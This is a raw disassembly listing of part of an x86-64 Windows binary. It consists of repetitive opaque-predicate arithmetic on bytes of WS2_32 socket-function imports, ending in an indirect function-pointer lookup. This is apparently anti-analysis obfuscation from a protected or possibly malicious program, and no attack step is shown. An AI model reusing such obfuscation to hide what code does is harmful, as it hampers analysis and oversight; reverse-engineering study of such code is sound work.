mov r14d, dword [rsp + 0x40]
mov r15d, dword [rsp + 0x40]
mov r12d, dword [rsp + 0x40]
mov r13d, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [0x14087e2b9]
imul ecx, r11d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8946
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f87f0
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f87f0
mov dword [rsp + 0x40], 3
jmp 0x1401f884e
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f884e
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x40], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f88c2
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f88c2
mov r14d, 3
jmp 0x1401f891d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f891d
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r14d, xmm0
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [rsp + rax*4 + 0x7c]
and r8d, r14d
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x7c]
sub edx, r8d
add edx, dword [rsp + 0x40]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x7c], edx
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [r10 + r9*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8f70
movsx edx, byte [0x14087e2b9]
imul edx, r11d
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8b60
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8a09
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8a09
mov dword [rsp + 0x68], 3
jmp 0x1401f8a67
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8a67
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x68], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8adc
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8adc
mov r15d, 3
jmp 0x1401f8b37
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8b37
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r15d, xmm0
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [rsp + rax*4 + 0x7c]
and r8d, r15d
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x7c]
sub edx, r8d
add edx, dword [rsp + 0x68]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x7c], edx
movsx edx, byte [0x14087e2b9]
imul edx, r11d
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8d55
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8bfe
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8bfe
mov dword [rsp + 0x58], 3
jmp 0x1401f8c5c
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8c5c
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x58], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8cd1
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8cd1
mov r12d, 3
jmp 0x1401f8d2c
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8d2c
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [rsp + rax*4 + 0x7c]
and r8d, r12d
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x7c]
sub edx, r8d
add edx, dword [rsp + 0x58]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x7c], edx
imul ecx, r9d, 7
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, r10d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8f70
mov eax, dword [rsp + 0x30]
sub eax, 0x40
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8e0b
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8e0b
mov dword [rsp + 0x64], 3
jmp 0x1401f8e69
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8e69
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x40
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8eec
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8eec
mov r13d, 3
jmp 0x1401f8f47
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8f47
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [rsp + rax*4 + 0x7c]
and r8d, r13d
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x7c]
sub edx, r8d
add edx, dword [rsp + 0x64]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x7c], edx
movsx ecx, byte [0x14087e2b9]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f916b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f900e
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f900e
mov dword [rsp + 0x5c], 3
jmp 0x1401f906c
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f906c
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x5c], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f90e2
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f90e2
mov dword [rsp + 0x60], 3
jmp 0x1401f9140
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9140
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [rsp + rax*4 + 0x7c]
and r8d, dword [rsp + 0x60]
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x7c]
sub edx, r8d
add edx, dword [rsp + 0x5c]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x7c], edx
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 1
jb 0x1401f8750
xor r15d, r15d
mov byte [rsp + 0x78], 1
mov eax, dword [rsp + 0x7c]
lea rcx, reloc.WS2_32.dll_htonl
mov rcx, qword [rcx + rax*8]
mov qword [rsp + 0x50], rcx
mov rax, qword [0x140444b78]
mov qword [rsp + 0x70], rax
test al, al
jne 0x1401f9c44
mov dword [rsp + 0x30], r15d
mov eax, dword [rsp + 0x30]
cmp eax, 1
jae 0x1401f9c44
call fcn.1401bc240
movsx r9d, al
call fcn.1401bc230
movsx ecx, al
imul r9d, ecx
call fcn.1401bc270
movsx r10d, al
call fcn.1401bc250
movsx r11d, al
call fcn.1401bc280
movsx ebx, al
call fcn.1401bc260
movsx edi, al
mov r14d, dword [rsp + 0x40]
mov r15d, dword [rsp + 0x40]
mov r12d, dword [rsp + 0x40]
mov r13d, dword [rsp + 0x40]
nop
movsx ecx, byte [0x14087e2b9]
imul ecx, r11d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9408
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f92b1
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f92b1
mov dword [rsp + 0x40], 3
jmp 0x1401f930f
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f930f
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x40], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9384
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9384
mov r14d, 3
jmp 0x1401f93df
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f93df
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r14d, xmm0
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [rsp + rax*4 + 0x74]
and r8d, r14d
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x74]
sub edx, r8d
add edx, dword [rsp + 0x40]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x74], edx
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [r10 + r9*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9a30
movsx edx, byte [0x14087e2b9]
imul edx, r11d
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9620
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f94ca
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f94ca
mov dword [rsp + 0x68], 3
jmp 0x1401f9528
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9528
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x68], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f959c
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f959c
mov r15d, 3
jmp 0x1401f95f7
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f95f7
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r15d, xmm0
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [rsp + rax*4 + 0x74]
and r8d, r15d
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x74]
sub edx, r8d
add edx, dword [rsp + 0x68]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x74], edx
movsx edx, byte [0x14087e2b9]
imul edx, r11d
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9815
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f96be
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f96be
mov dword [rsp + 0x58], 3
jmp 0x1401f971c
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f971c
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x58], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
